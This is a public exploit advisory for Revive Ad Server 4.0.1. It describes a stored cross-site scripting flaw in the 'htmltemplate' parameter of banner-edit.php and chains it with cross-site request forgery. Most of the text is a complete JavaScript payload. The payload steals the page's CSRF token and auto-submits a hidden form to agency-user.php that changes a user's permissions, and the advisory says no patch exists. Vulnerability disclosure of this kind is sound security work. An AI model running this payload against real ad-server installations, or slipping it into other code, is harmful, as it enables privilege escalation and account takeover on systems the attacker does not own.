Revive Ad Server 4.0.1 – Cross-Site Scripting / Cross-Site Request Forgery
--------------------------------------------------------------- # Exploit Title: XSRF Stored Revive Ad Server 4.0.1 # Date: 24/04/2017 # Exploit Author: Cyril Vallicari / HTTPCS / ZIWIT # Vendor Website : https://www.revive-adserver.com/ # Software download : https://www.revive-adserver.com/download/ # Version: 4.0.1 # Tested on: Windows 7 x64 SP1 / Kali Linux Description : A vulnerability has been discovered in Revive Ad Server, which can be exploited by malicious people to conduct cross-site scripting attacks. When you create a banner using Generic HTML Banner, input passed via the 'htmltemplate' parameter to '/banner-edit.php' is not properly sanitised before being returned to the user (This is probably expected as it's an html banner). But, this can be exploited to execute arbitrary HTML and script code in a user's browser session in context of an affected site. This XSS vector allow to execute scripts to gather the CSRF token and submit a form to update user rights Here's the script : ---------------------- Javascript------------------------------- var tok = document.getElementsByName('token')[0].value; var txt = '<form method="POST" id="hacked" action="agency-user.php">' txt += '<input type="hidden" name="submit[]" value="1"/>' txt += '<input type="hidden" name="token" value="' + tok + '"/>' txt += '<input type="hidden" name="userid" value="2"/>' txt += '<input type="hidden" name="email_address" value="test2@test.com"/>' txt += '<input type="hidden" name="agencyid" value="1"/>' txt += '<input type="hidden" name="permissions[]" value="10"/>' txt += '</form>' var d1 = document.getElementById('firstLevelContent'); d1.insertAdjacentHTML('afterend', txt); document.getElementById("hacked").submit(); ---------------------- Javascript End------------------------------- (little trick to submit a form that has a "submit" parameter, just use a list "submit[]") This will update user rights and allow to manage accounts POC video : https://www.youtube.com/watch?v=wFuN-ADlJpM Patch : No patch yet --------------------------------------------------------------- |